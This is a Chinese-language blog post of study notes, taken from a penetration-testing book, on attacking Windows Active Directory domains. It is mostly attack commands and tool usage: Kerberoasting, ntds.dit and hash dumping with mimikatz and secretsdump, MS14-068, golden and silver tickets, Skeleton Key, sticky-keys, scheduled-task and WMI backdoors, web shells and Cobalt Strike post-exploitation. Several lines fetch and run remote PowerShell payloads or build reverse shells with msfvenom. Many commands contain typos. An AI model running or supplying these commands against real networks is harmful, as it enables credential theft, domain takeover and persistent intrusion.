PowerShell-Ad-Recon工具包
https://github.com/PyroTek3/PowerShell-AD-Recon 所有spn服务扫描 https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSInterestingServices Import-Moudle .\Discover-PSInterestingServices Discover-PSIntingService
Windows自带
setspn -T domain -q */*
Kerberoast
手动注册SPN
setspn -A MSSQLSvc/computer1.pentest.com:1433 mssql
查看用户所对应的SPN
setspn -L pentest.com\mssql
查看所有注册的SPN
setspn -T domain -q */*
adsiedit.msc查看用户spn以及其他高级属性
配置指定服务的登陆权限
gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Pights Assignment\Log on as a service
修改加密类型
gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security; Configure encryption types allowed
请求SPN Kerberos票据
Add-Type -AssmblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken-ArgumentList "MSSQLSvc/computer1.pentest.com"
导出票据
kerberos::list /export
破解hash
https://github.com/nidem/kerberoast python tgsrepcrack.py wordlist.txt mssql.kirbi
Exchange邮件服务器
Exchange邮件服务器
邮箱服务器(Mailbox Server) 托管邮箱、公共文件夹及相关消息数据 客户端访问服务器(Client Acess Server) 接收处理不同客户端请求 集线传输服务器(Hub Transport Server) 进出站规则、处理邮件正确分发,确保地址正确解析 统一消息服务器(Unified Messagine Server) 允许用户通过邮件发送存储语音和传真 边缘传输服务器(Edge Transport Server) 路由发往内/外部的邮件、反垃圾邮件、反病毒策略
访问接口
OWa(web邮箱) domain/owa/ EAC(echange管理中心) http://domain/ecp/ Outlook Anywhere MAPI Exchange ActiveSyne Exchange Web Service
Exchange服务发现
基于端口扫描
nmap -A -O -av 192.168.100.190
SPN查询
setspn -T pentest.com -F -Q */*
Exchange基本操作
查看邮件数据库
powershell add-pssnapin microsoft.exchange* 添加exchange管理单元 Get-MailboxDatabase -server "Exchange" 查询指定数据库 Get-MailboxDatabase -Identity 'Mailbox Database 1894576043' | Format-List Name,EdbFilePath,LogFolderPath
获取现有用户的邮件地址
Get-Mailbox | format-tables Name,WindowsEmailAddress
查看指定用户的邮箱使用信息
get-mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotailItemSize,LastLogonTime
获取用户邮箱中的邮件数量以及最后登陆时间
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Descend
导出指定的电子邮件
后缀为pst
配置用户的导入/导出权限
(1)查看用户权限 Get-ManagementRoleAssignment -role "Mailbox import Export" | Format-List RoleAssigneeName (2)添加权限 New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox import Export" (3)删除权限 Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false
设置网络共享文件夹
UNC(通用命名规范) ner share inetpub=c:\inetpub /grant:everyone,full
导出用户电子邮件
(1)powershell导出 New-MailboxExportRequest -Mailbox administrator -FilePath \\192.xxx.xxx.xxx\inetpub\administrator.pst (2)图形化导出 192.168.100.194\ccp
管理导出请求
(1)查看之前产生的导出请求记录 Get-MailboxExportRequest (2)将指定用户已完成导出请求删除 Remove-MailboxExportRequest -Identity Administrtor\mailboxexport (3)删除所有导出记录 Get-MailboxExportRequest -Status Completed Remove-MailboxExportRequest
域控制器安全
使用卷影拷贝服务器提取ntds.dit
ntds.dit
存储用户名、散列值、组、GPP、Ou等数据库
通过ntdsutil.exe提取ntds.dit
为活动目录提供管理机制的命令行工具 适用于03、08、12
(1)创建快照 ntdsutil snapshot "activate instance ntda" create quit quit (2)加载快照 ntdsutil snapshot" mount {GUID} "quit quit (3)复制快照到本地 copy c:\$xxx\ntds.dit c:\temp\ntds.dit (4)删除之前加载的快照 ntdsutil snapshot "unmount {GUID}" "delect {GID}" quit quit (5)查看快照 ntdsutil snapshot "List All" quit quit
利用vssadmin提取ntds.dit
创建和删除卷影拷贝、列出卷影拷贝信息 适用于08、win7
创建c盘卷影拷贝 vssadmin create shadow /for=c: 复制卷影拷贝 copy ntds.dit c:\ntds.dit 删除快照 vssadmin delect shadow /for=c: /quiet
利用vssown.vbs提取
下载地址 https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
cscript vssown.vbs /start 启动 cscript vssown.vbs /create c 创建 cscript vssown.vbs /list 列出 cscript vssown.vbs /delect
使用ntdsutil的IFM(媒体创建)创建卷影拷贝
Nishang Copy-VSS.ps1 脚本 import-moudle .\Copy-VSS.ps1 Copy-vss
使用diskshadow导出ntds.dit(必须在c:\windows\system32中操作)
diskshadow.exe /? 查看帮助 将需要执行的命令导入command.txt文件 diskshadow.exe /s c:\command.txt 执行命令
导出ntds.dit的txt //设置卷影拷贝 set context persistent nowriters //添加卷 add volume c: alias someAlias //创建快照 create //分配虚拟磁盘盘符 expose %someAlias% k: //将ntds.dit复制到c盘 exec "cmd.exe" /c copy k:\windows\NTDS\ntds.dit c:\ntds.dit //删除所有快照 delect shadow all //列出系统中的卷影拷贝 list shadow all //重置 reset //退出 exit diskshadow /s c:\command.txt 导出system.hive reg save hkim\system c:\windows\temp\system.hive
监控卷影拷贝服务的使用情况
system event id 7036
导出ntds.dit 中的散列值
使用esedbexport 恢复ntds.dit
下载地址
https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar
导出netd.dit
apt-get install autoconf automake autopoint libtool pkg-config ./configure make sudo make install sudo ldconfig /usr/local/bin
使用
esedbexport -m tables ntds.dit 提取表信息
导出散列值
下载ntdsxtract https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install 安装ntdsxtract 将netds.dit.export 和sustem文件夹放入ntdsxtract文件夹 dsuser.py ntds.dit.export/database.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt 将所有散列值导出到all_user.txt dscomputers.py ntds.dit.export/database.3 computer_output --csvoutfile all_computers.csv 导出域内所有计算机的信息
impacket工具包导出散列值(secretsdump)
https://github.com/csababarta/ntdsxtract.git
python setup.py install
impacket-secretsdump -system SYSTEM -ntds ntds.dll LOCAL 导出所有散列值
impacket-secretsdump
-hashs aad3bxxxxx
-just-dc pentest.com/administrator@192.168.100.205 从远程域控制器中读取散列值
在windows下解析ntds.dit 导出域账号和散列值
https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip NTDSDumpEx.exe -d ntds.dit -s system
利用dcsync获取域散列值
使用mimikatz转储域散列值(域管)
lsadump::dcsync /domain:pentest.com /all /csv 所有用户名的散列值 lsadump::dcsync /domain:pentest.com /user:syst1m 导出指定用户的散列值 privilege::debug lsadump::lsa /inject 域控上转储lsass.exe dump散列值
使用dcsync获取域账户和域散列值
https://gist.github.com/monoxgas/9d238accd969550136db Invoke-DCSync -PWDumpFormat
使用measploit获取域散列值
osexec_ntdsgrab
use auxiliary/admin/smb/psexec_ntdsgeab RHOST、SMBDOMAIN、SMBUser、SMBPass参数
基于meterprter会话获取域账号和散列值
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.xxx.xxx.xxx LPORT = 5555 -f exe > s.exe use windows/gather/credentials/domain_hashdump
使用vshadow.exe和QuarksPwDump.exe导出域账号和散列值
下载地址
https://github.com/quarkslab/quarkspwdump ShadowCopy.vbs setlocal if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK set SOURCE_DRIVE_LETTER=%SystemDrive% set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH% esentutl /p /o ntds.dit 修复复制出来的ntds.dit vshadows.exe
Kerberos域用户提权
PyKEK工具包
下载地址
https://github.com/mubix/pykek
工具
-u 用户名@域名 -s <sid> 用户sid -d 域控制器地址 -p 明文密码 --rc4 在没明文密码情况下,通过NTLM Hash登陆
使用
wmic qfe get botfixid 查看补丁情况 whoami /user 查看用户SID wmic useraccount get name,sid 获取域内所有用户的SID ms14-068.exe -u 域成员名@域名 -s SID -d 域控制器地址 -p 域成员密码 清除票据 kerberos::purge kerberos::ptc "TGT_user1@pentest.com.cache" 注入票据
goldenPac.py
命令格式
python goldenPac.py 域名/域成员用户:密码@域控制器地址
安装kerberos客户端
apt-get install krb5-user y
Metasploit
利用脚本
use auaxiliary/admin/kerberos/ms14_068_kerberos_checksum
格式转换,导出kirbi格式文件
kerberos::clist "a.bin" /export
生成反向shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST LPORT -f exe >shell.exe
票据注入
use exploit/mulit/reverse_tcp load wiki kerberos_ticket_use a.kirbi
高权限票据测试
use/exploit/windows/local/current_user_psexec
权限维持及防御
操作系统后门
粘滞键后门
替换
cd windows\system32 Move sethc.exe sethc.exe.bak copy cmd.exe sethc.exe
Empire
usemoudle lateral_movement/invoke_wmi_debuggerinfo set List shuteet set ComputerName WIN7-64.shuteer.testlab set TargetBinary sethc.exe execute
注册表注入后门
Empire
usemoudle persistence/userland/registry set Listener shuteer set RegPath HKCU:Spftware\Microsoft\Windows\CurrentVersion\Run execute
计划任务后门
Metasploit 模拟计划任务后门
use exploit/multi/script/web_delivery (1)用户登陆 schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx'")'" /sc onlogon /ru system (2)系统启动 schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx'")'" /sc onstart /ru system (3)系统空闲 schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx'")'" /sc onidle /i l
PowerSploit模拟生成后门
https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1 创建后门。空闲状态下执行 shuteer.ps1为要执行的payload Import-Moudle ./Persistence.psm1 $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle $ UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle Add-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption $ElevatedOptions - UserPersistenceOption $UserOptions -Verbose
Empire模拟后门
usemoudle persistence/elevated/schtasks set DailyTime 16:17 set Listener test execute
meterpreter后门
Persistence
Cymothoa后门
Cymothoa
WMI后门(管理员)
Empire Invoke-WMl模块 powershell/persistence/elevated/wmi 检查目标主机情况: Get-WMIObject -Namespace root\Subscription -Class CommandLine EventConsumer -Fifter "Name='Update'" 修复: 删除自动运行的恶意wmi条目 使用Get-WMIObject命令删除持久化相关组件
WEB后门
Nishang
\nishang\Antak-WebShell目录下
Weevely
https://github.com/epinna/weevely3
weevely 查看帮助 weevely <URl> <password> [cmd] 连接木马 weevely session <path>[cmd] 加载会话 weevely generate <password><path> 生成后门代理 weevely http://xxx.xxx.xxx.xxx/test.php test system_info 系统信息 net_scan扫描端口 help 查看命令
webacoo后门
webacoo -h 查看帮助 webacoo -g -o /root/test.php 生成webshell webacoo -t -u http://xxxtest/php load 查看模块
ASPX meterpreter
shell_reverse_tcp payload
PHP meterpreter
php meterpreter payload
域控制器权限持久化
DSRM域后门
DSRM
目录服务恢复模式 使用DSRM账号恢复 03不使用 08需要安装KB961320补丁 08以后不需要
使用
mimikatz 获取krbtgt NTLM HASH privilege::debug lasdump::lsa /patch /name:krbtgt 获取DSRM账号的NTLM Hash token:elevate lsadump:sam 将DSRM账号和krbtgt的ntlm hash同步 NTDSUTIL SET DSRM PASSWORD SYNC FROM DOMAIN account krbtgt 查看是否同步成功 lsadump::sam 修改DSRM登陆方式 新建HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior为2 使用powershell更改 New-ItemProperty "hkim:system\currentrolset\control\lsa\" -name "dsemadminlogonbehavior" -value 2 -propertyType DWORD 使用dsrmz账号通过网络远程登陆域控制器 privilege::debug sekurlsa:pth /domain:DC /user:administrator /ntlm:53ebxxxx dcysnc转储krbtgt ntlm hash lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt 防御: 检查注册表 修改dsrm账号 经常检测ID为4794的日志
DerbyCON
比DSRM更为高级的一种方式,知道hash Mimikatz “privilege::debug” “sekurlsa::pth /domain:ADSDC03 /user:Administrator /ntlm:7c08d63a2f48f045971bc2236ed3f3ac” exit
SSP
https://syst1m.com/post/security-support-provider/
SID History域后门
SID History
使A域中的syst1m用户的权限当syst1m用户迁移到B域中时还拥有原来的权限
查看test用户的SID history属性
Import-Moudle activedirectory Get-ADUser test -Properties sidhistory
注入sid属性
privilege::debug sid::add /sam:test /new:administrator
再次查看sid history
Get-ADUser test -Properties sidhistory.memberof
测试
dir \\dc\c$
防御
查看域用户sid为500的用户 完成迁移后,对相同500检测 定期检查id为4765和4766的日志、ID为4765为sid history属性添加到用户的日志。4766为将sid history属性添加到用户失败的日志
Golden Ticket(黄金票据)
环境
域控:192.168.100.205 域成员:192.168.100.146
导出krbtgt的ntlm hash
lsadump::dcsync /domain:pentest.com /user:krbtgt
获取基本信息
获取sid wmic useraccount get name,sid 获取当前用户sid whoami /user 查询域管理员账号 net group "domain admins" /domain 查询域名 ipconfig /all
实验
清空票据 kerberos::purge 生成票据 kerberos:golden /admin:Administrator /domain:pentest.com /sid:域SID /krbtgt:ntml hash /ticket:Administrator.kiribi 注入内存 kerberos::ptt Administrator.kiribi 检索当前会话中的票据 kerberos::tgt 验证权限 cscript wmiexec.vbs /shell dc
Silver Ticket(白银票据)
收集
域名 域SID 目标服务器的FQDN 可利用的服务 服务账号的NTLM Hash 需要伪造的用户名
实验
获取服务账号ntlm hash mimikatz log "privilege::debug" "sekurlsa::logonpasswords" 清除票据 klist purge 伪造白银票据 kerberos::golden /domain:pentest.com /sid:域SID /target:dc.pentest.com /serviceLcifs /rc4:ntlm hash /user:syst1m /ptt
伪造LDAP 票据
Skeleton Key(万能密码)
使用域管账号密码连接
net use \\192.168.100.205\ipc$ "password" /user:pentest\administrator
添加万能密码
privilege::debug misc::skeleton 注入万能密码
验证
删除原有ipc连接 net use net usr \\dc\ipc$ /del /y 使用万能密码连接 net use \\dc\ipc$ "mimikatz" /user:administrator
Empire 中的Skeleton key
interact 进入agent usemoudle persistence/misc/skeleton key* 加载模块 execute 执行模块
Hook PasswordChangeNotify
Hook PasswordChangeNotify
Hook PasswordChangeNotify作用是当用户修改密码后在系统中进行同步,密码符合要求的话,LSA会调用PasswordChangeNotify同步密码
使用
Import-Moudle .\Invoke-ReflectivePEInjection.ps1 注入HookPasswordChange.dll到内存 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass 当被修改密码查看 type c:\windows\Temp\passwords.txt
Nishang下的脚本后门
HTTP-Backdoor脚本
可以下载和执行powershell脚本,接收第三方网站的执行,内存执行PowerShell脚本
CheckURL 给出一个URL地址,如果存在我们MagicString中的值就去执行Payload - 下载运行我们的脚本 PayloadURL 这个参数给出我们需要下载的Powershell脚本的地址 Arguments 这个参数指定我们要执行的函数 StopString 这个参数也会去看是否存在我们CheckURL返回的字符串,如果存在就会停止执行 PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
Add-ScrnSaveBackdoor
可以帮助攻击者利用windows屏幕保护来安插一个隐藏后门
Execute-OnTime
用于在目标机器上指定powershell 脚本的执行时间
Invoke-ADSBackdoor
能够在NTFS数据流中留下一个永久性的后门,只有dir /a /r 才可以看到。 Invoke-ADSBackdoor -PayloadURL http://a.com/test.ps1
Cobalt Strike
功能
agscript 拓展应用脚本 c2lint 用于检查profile错误和异常 teamserver 团队服务器程序 cobaltsteike.jar 客户端 logs 日志 update.jar 更新 data 保存当前teamserver 一些数据
Cs模块
Cobalt strike模块
后渗透模块
使用Elevate模块提升Beacon权限
右键->Acceess->Elevate 内置三个模块 (1)ms14-058 普通用户->sustem权限 (2)uac-dll bypassuac (3)uac-token-duplication bypassuac elevate uac-dll test elevate uac-token-duplication test
Gold Ticket提升域管权限
access->Goldeb Ticket 查看用户所属的组 net user test /domain
make_token模拟指定用户
access->Make_token
Dump Hashes导出散列值
access->dump hashes 命令行:hashdump
logonpasswords模块
access->Run mimikatz 命令行:logonpasswords
查看导出的信息
View->Crededtials
mimikatz模块
mimikatz [moudle:command] <args>
PsExec模块
Login->Psexec
SOCKS Server模块
Pivoting->SOCKS Server
###CS常用命令
基本命令
help 帮助 sleep 设置休眠时间
常用操作命令
getuid 哪个用户身份运行 getsystem 尝试获取system权限 getprivs 获取当前beacon包含的的所有权限 Explore->Browser Pivot browserpivot [pid] [x86]x64] browserpivot stop 劫持IE浏览器
文件管理
图形化: Explore->File Browser 命令行: cd ls mkdir delect mv execute 执行文件
net view 命令
图形化: Explore->Net view 命令行: net view 显示域、资源列表 net computer 查询域控制器上的计算机账户列表查找目标 net dclist 列出域控制器 net domain_trusts 列出域信息列表 net group 枚举自身所在域控制器中的组 net localgroup 枚举当前系统的本地组 net logons 列出登陆的用户 net session 列出会话 net share 列出共享的目录和文件 net user 列出用户 net time 显示时间
端口扫描
Explore->Port scan
进程列表模块
Explore->Process List 命令行: ps kill [pid]
screenshot
图形: Explore->screenshot 命令行: screenshot screenshots pid s 定时截图
Log Keystrokes模块(键盘记录)
图形: Process List->Log KeyStrokes 命令行: keylogger [pid] view->Log Keystrokes 查看键盘记录
Inject 命令(注入新进程)
图形化: Process List->Inject Becaon: inject [pid]
Steat Token模块
图形化: Process List->Steal token Becaon: steat_token [pid]
Note模块
图形化: session->note Becaon: note [text]
shell
shell command arg
run
run 程序 参数
execute(通常无回显)
execute 程序 参数
powershell
powershell command arg
powerpick(可以不通过调用powershell.exe 执行命令)
powerpick commandlet arg
powershell-import (可以直接本地powershell脚本加载到目标系统的内存中)
powershell-import /root/desktop/powerview.ps1 powershell Get-HostIP
Aggressor脚本
加载脚本
永久加载
load按钮-> xxx.cna
客户端加载
./agscript [host] [port][user][password][/path/to/script.cna]
笔记摘自:《内网安全攻防 渗透测试实战指南》
- 上一篇: ThinkPhp3漏洞总结
- 下一篇: In_array函数缺陷